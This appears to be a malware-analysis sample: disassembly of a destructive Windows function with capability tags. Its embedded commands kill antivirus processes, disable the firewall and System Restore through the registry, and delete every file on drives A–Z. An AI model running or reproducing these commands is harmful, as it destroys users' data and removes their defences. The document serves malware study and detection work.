Function at 0x1400015f0
Capabilities:
Disable firewall features via registry on windows
Execute command
Persist via windows service
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor ebx, ebx
lea r9d, [rbx + 0x40]
lea r8, str.Virus_Message
lea rdx, str.Merci_davoir_lanc
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowW]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.taskkill__f__im_avast.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_avg.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_avira.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_mse.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_afwServ.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfile__v_EnableFirewall__t_REG_DWORD__d_0__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSysRestore__v_Start__t_REG_DWORD__d_4__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400011c0
mov r13b, 0x41
lea edi, [rbx + 0xf]
mov edx, 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], rdx
mov qword [rbp - 0x39], rdi
movsx eax, r13b
movzx eax, al
mov byte [rbp - 0x51], al
mov byte [rbp - 0x50], 0
mov rax, rdi
sub rax, rdx
lea rcx, [rbp - 0x51]
cmp rax, 2
jb 0x140001717
lea rax, [rdx + 2]
mov qword [rbp - 0x41], rax
cmp rdi, 0xf
cmova rcx, qword [rbp - 0x51]
movzx eax, word [0x140003890]
mov word [rcx + rdx], ax
mov byte [rcx + rdx + 2], 0
lea rax, [rbp - 0x51]
jmp 0x140001731
mov qword [rsp + 0x20], 2
lea r9, [0x140003890]
mov edx, 2
call fcn.140001b40
movups xmm1, xmmword [rax]
movups xmmword [rbp - 0x31], xmm1
movups xmmword [rbp + 0xf], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm0
movups xmmword [rbp + 0x1f], xmm0
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp - 0x39]
cmp rdx, 0xf
jbe 0x140001796
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a47
call fcn.1400020cc
movups xmm0, xmmword [rbp - 1]
movups xmm1, xmmword [rbp - 0x31]
mov qword [rbp - 0x41], rbx
mov qword [rbp - 0x39], rdi
mov byte [rbp - 0x51], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq rsi, xmm0
sub rax, rsi
cmp rax, 4
jb 0x140001a69
lea r12, [rbp + 0xf]
psrldq xmm0, 8
movq rax, xmm0
mov qword [rbp - 0x31], rax
cmp rax, 0xf
seta byte [rbp - 0x79]
movq r14, xmm1
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
mov qword [rbp - 0x61], rbx
mov qword [rbp - 0x59], rbx
lea r15, [rsi + 4]
lea rbx, [rbp - 0x71]
cmp r15, 0xf
jbe 0x140001886
mov rdi, r15
or rdi, 0xf
mov qword [rbp - 1], rdi
cmp rdi, rcx
jbe 0x140001828
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140001852
mov eax, 0x16
mov qword [rbp - 1], rax
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001871
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001a4e
mov rcx, rax
call fcn.140002090
test rax, rax
je 0x140001a54
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001882
test rcx, rcx
je 0x140001880
call fcn.140002090
mov rbx, rax
jmp 0x140001882
xor ebx, ebx
mov qword [rbp - 0x71], rbx
mov qword [rbp - 0x61], r15
mov qword [rbp - 0x59], rdi
mov eax, dword [str.del]
mov dword [rbx], eax
lea rcx, [rbx + 4]
mov r8, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
mov rcx, qword [rbp - 0x61]
mov rdx, qword [rbp - 0x59]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x1400018f5
lea rax, [rcx + 0xc]
mov qword [rbp - 0x61], rax
lea rbx, [rbp - 0x71]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x71]
add rbx, rcx
mov r8d, 0xc
lea rdx, str..__s__f__q
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xc], 0
lea rax, [rbp - 0x71]
jmp 0x140001913
mov qword [rsp + 0x20], 0xc
lea r9, str..__s__f__q
mov edx, 0xc
lea rcx, [rbp - 0x71]
call fcn.140001b40
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xor ebx, ebx
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x21], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x11], xmm1
mov qword [rax + 0x10], rbx
mov edi, 0xf
mov qword [rax + 0x18], rdi
mov byte [rax], bl
mov rdx, qword [rbp - 0x59]
cmp rdx, rdi
jbe 0x14000197c
inc rdx
mov rcx, qword [rbp - 0x71]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a54
call fcn.1400020cc
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 0xf
cmova rcx, qword [rbp - 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x1400019cb
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a5b
call fcn.1400020cc
mov qword [rbp - 0x11], rbx
mov qword [rbp - 9], rdi
mov byte [rbp - 0x21], 0
cmp byte [rbp - 0x79], 0
je 0x140001a0d
mov rdx, qword [rbp - 0x31]
inc rdx
mov rax, r14
cmp rdx, 0x1000
jb 0x140001a05
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a62
mov rcx, r14
call fcn.1400020cc
inc r13b
cmp r13b, 0x5a
jle 0x1400016be
nop word [rax + rax]
mov ebx, 0xf4240
mov ecx, 0x3d0900
call fcn.1400020d4
xor edx, edx
mov r8d, 0x3d0900
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
sub rbx, 1
jne 0x140001a25
jmp 0x140001a20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001100
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400011a0
int3